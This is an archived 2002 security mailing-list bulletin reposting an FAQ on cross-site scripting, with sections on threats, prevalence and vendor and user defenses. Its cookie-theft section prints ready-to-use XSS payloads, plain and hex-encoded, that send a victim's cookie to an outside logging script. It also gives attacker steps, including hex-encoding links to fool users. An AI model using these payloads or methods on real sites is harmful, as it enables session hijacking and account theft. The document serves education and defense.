[REVS] The Cross Site Scripting FAQ

From: support@securiteam.com
Date: 08/05/02


From: support@securiteam.com
To: list@securiteam.com
Date: Mon,  5 Aug 2002 15:00:07 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  The Cross Site Scripting FAQ
------------------------------------------------------------------------

SUMMARY

Websites today are more complex than ever, containing a lot of dynamic
content making the experience for the user more enjoyable. Dynamic content
is achieved with web applications that can deliver different output to a
user depending on their settings and needs. Dynamic websites have a threat
that static websites do not, called "Cross Site Scripting" (or XSS dubbed
by other security professionals). Currently small informational tidbits
about Cross Site Scripting holes exist but none really explains them to an
average person or administrator. This FAQ was written to provide a better
understanding of this emerging threat, and to give guidance on detection
and prevention.

DETAILS

"What is Cross Site Scripting?"
Cross-site scripting (also known as XSS) occurs when a web application
gathers malicious data from a user. The data is usually gathered in the
form of a hyperlink that contains malicious content within it. The user
will most likely click on this link from another website, web board,
email, or from an instant message. Usually the attacker will encode the
malicious portion of the link to the site in HEX (or other encoding
methods) so the request is less suspicious looking to the user when
clicked on. After the data is collected by the web application, it creates
an output page for the user containing the malicious data that was
originally sent to it, but in a manner to make it appear as valid content
from the website.

"What does XSS and CSS mean?"
Often people refer to Cross Site Scripting as CSS. There has been a lot of
confusion with Cascading Style Sheets (CSS) and cross-site scripting. Some
security people refer to Cross Site Scripting as XSS. If you hear someone
say, "I found a XSS hole", they are talking about Cross Site Scripting.

"What are the threats of Cross Site Scripting?"
Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash
to fool a user (Read below for further details), or gather data from them.
Everything from account hijacking, changing of user settings, cookie
theft/poisoning, or false advertising is possible. New malicious uses are
being found every day for XSS attacks. The post below by Brett Moore
brings up a good point with regard to "Denial of Service", and potential
"auto-attacking" of hosts if a user simply reads a post on a message
board.

 <http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html>
http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html

"What are some examples of cross site scripting attacks?"
One product with many XSS holes is the popular PHP program PHPNuke. This
product is often targeted by attackers to probe for XSS holes because of
its popularity. We have included a few links of advisories/reports that
have been discovered and disclosed just from this product alone. The
following collection should provide plenty of examples.

 <http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt>
http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt
 <http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt>
http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt
 <http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt>
http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt

"Can you show me what XSS cookie theft looks like?"
Depending on the particular web application, some of the variables and
positioning of the injections may need to be adjusted. Keep in mind the
following is a simple example of an attacker's methodology.

Step 1: Targeting
After you have found an XSS hole in a web application on a website, check
to see if it issues cookies. If any part of the website uses cookies, then
it is possible to steal them from its users.

Step 2: Testing
Since XSS holes are different in how they are exploited, some testing will
need to be done in order to make the output believable. By inserting code
into the script, its output will be changed and the page may appear
broken. (The result is crucial and the attacker will have to do some
touching up in the code to make the page appear normal). Next, you will
need to insert some JavaScript (or other client side scripting language)
into the URL pointing to the part of the site that is vulnerable. Below we
have provided a few links that are for public use when testing for XSS
holes. These links below, when clicked on will send the users cookie to
www.cgisecurity.com/cgi-bin/cookie.cgi and will display it. If you see a
page, displaying a cookie then session hijacking of the user's account is
possible.

Cookie theft JavaScript Examples
An example is attached below:

ASCII usage:
http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?
'%20+document.cookie</script>

Hex usage:
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79
%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%
75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

NOTE: The request is first shown in ASCII, then in Hex for copy and paste
purposes.

1.
"><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'
+document.cookie</script>

HEX
%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27
%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69
%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f
%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

2.
<script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'
+document.cookie</script>

HEX
%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74
%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e
%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c
%2f%73%63%72%69%70%74%3e

3.
><script&gtdocument.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'
+document.cookie</script>

HEX
%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74
%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69
%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65
%3c%2f%73%63%72%69%70%74%3e

These are the examples of "evil" JavaScript we will be using. These
JavaScript examples gather the users' cookie and then send a request to
the cgisecurity.com website with the cookie in the query. The script on
cgisecurity.com logs each request and each cookie. In simple terms, it is
doing the following:

My cookie = user=zeno; id=021
My script = www.cgisecurity.com/cgi-bin/cookie.cgi

This means that it sends a request to the site that looks something of the
sorts of:

GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (Note: %20 is a hex encoding
for a space)

This is a primitive but effective way of grabbing a user's cookie. Logs of
the use of this public script can be found at
www.cgisecurity.com/articles/cookie-theft.log

Step 3: XSS Execution
Hand out your crafted URL or use email or other related software to help
launch it. Make sure that if you provide the URL to the user (through
email, aim, or other means) that you at least HEX encode it. The code is
obviously suspicious looking but a bunch of hex characters may fool a few
people.

In our examples, we only forward the user to cookie.cgi. An attacker with
more time could do a few redirects and XSS combinations to steal the
user's cookie, and return them to the website without noticing the cookie
theft.

Some email programs may execute the JavaScript upon the opening of a
message or if the JavaScript is contained in a message attachment. Larger
sites like Hotmail do allow JavaScript inside attachments but they do
special filtering to prevent cookie theft.

Step 4: What to do with this data
Once you have gotten the user to execute the XSS hole, the data is
collected and sent to your CGI script. Now that you have the cookie, you
can use a tool like Websleuth to see if account hijacking is possible.

This is only a FAQ, not a detailed paper on cookie theft and modification.
A new paper released by David Endler of iDefense goes into more detail on
some of the ways to automatically launch XSS holes. This paper can be
found at <http://www.idefense.com/XSS.html>
http://www.idefense.com/XSS.html.

"What can I do to protect myself as a vendor?"
This is a simple answer. Never trust user input and always filter
metacharacters. This will eliminate the majority of XSS attacks.
Converting < and > to &lt; and &gt; is also suggested when it comes to
script output. Remember XSS holes can be damaging and costly to your
business if abused. Often attackers will disclose these holes to the
public, which can erode customer and public confidence in the security and
privacy of your organization's site. Filtering < and > alone will not
solve all cross site scripting attacks and it is suggested you also
attempt to filter out ( and ) by translating them to &#40; and &#41;, ,
and also # and & by translating them to &#35 (#) and &#38 (&).

"What can I do to protect myself as a user?"
The easiest way to protect yourself as a user is to only follow links from
the main website you wish to view. If you visit one website and it links
to CNN for example, instead of clicking on it visit CNN's main site and
use its search engine to find the content. This will probably eliminate
ninety percent of the problem. Sometimes XSS can be executed automatically
when you open an email or attachment. If you are receiving email from a
person you do not know (or do not like) do not trust anything it has to
say. Another way to protect yourself is to turn off JavaScript in your
browser settings. In IE turn your security settings to high. This can
prevent cookie theft, and in general is a safer thing to do.

"How common are XSS holes?"
Cross-site scripting holes are gaining popularity among hackers as easy
holes to find in large websites. Websites from FBI.gov, CNN.com, Time.com,
Ebay, Yahoo, Apple computer, Microsoft, ZDnet, Wired, and Newsbytes have
all had one form or another of XSS bugs.

Every month roughly 10-25 XSS holes are found in commercial products and
advisories are published explaining the threat.

"Does encryption protect me?"
Websites that use SSL (https) are in no way more protected than websites
that are not encrypted. The web applications work the same way as before,
except the attack is taking place in an encrypted connection. People often
think that because they see the lock on their browser it means everything
is secure. This just is not the case.

"Can XSS holes allow command execution?"
XSS holes can allow JavaScript insertion, which may allow for limited
execution. If an attacker were to exploit a browser flaw (browser hole),
it could then be possible to execute commands on the client's side. If
command execution were possible, it would only be possible on the client
side. In simple terms, XSS holes can be used to help exploit other holes
that may exist in your browser.

"What if I do not feel like fixing a CSS/XSS Hole?"
By not fixing an XSS hole this could allow possible user account
compromise in portions of your site as they get added or updated. Cross
Site Scripting has been found in various large sites recently and have
been widely publicized. Left un-repaired, someone may discover it and
publish a warning about your company. This may damage your company's
reputation, depicting it as being lax on security matters. This of course
also sends the message to your clients that you are not dealing with every
problem that arises, which turns into a trust issue. If your client does
not trust you, why would they wish to do business with you?

"What are some links I can visit to help me further understand XSS?"
"Cross-site scripting tears holes in Net security"
 
<http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm> http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm

Article on XSS holes
 <http://www.perl.com/pub/a/2002/02/20/css.html>
http://www.perl.com/pub/a/2002/02/20/css.html

"CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web
Requests"
 <http://www.cert.org/advisories/CA-2000-02.html>
http://www.cert.org/advisories/CA-2000-02.html

Paper on Removing Meta-characters from User Supplied Data in CGI Scripts.
 <http://www.cert.org/tech_tips/cgi_metacharacters.html>
http://www.cert.org/tech_tips/cgi_metacharacters.html

Paper on Microsoft's Passport System
 <http://eyeonsecurity.net/papers/passporthijack.html>
http://eyeonsecurity.net/papers/passporthijack.html

Paper on Cookie Theft
 
<http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies> http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies

ADDITIONAL INFORMATION

The information has been provided by CGISecurity.com.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • "The Cross Site Scripting FAQ"
    ... What is Cross Site Scripting? ... What are some examples of cross site scripting attacks? ... of user settings, cookie theft/poisoning, or false advertising is possible. ... One product with many XSS holes is the popular PHP program PHPnuke. ...
    (Bugtraq)
  • The Cross Site Scripting FAQ
    ... What is Cross Site Scripting? ... What are some examples of cross site scripting attacks? ... of user settings, cookie theft/poisoning, or false advertising is possible. ... One product with many XSS holes is the popular PHP program PHPnuke. ...
    (Vuln-Dev)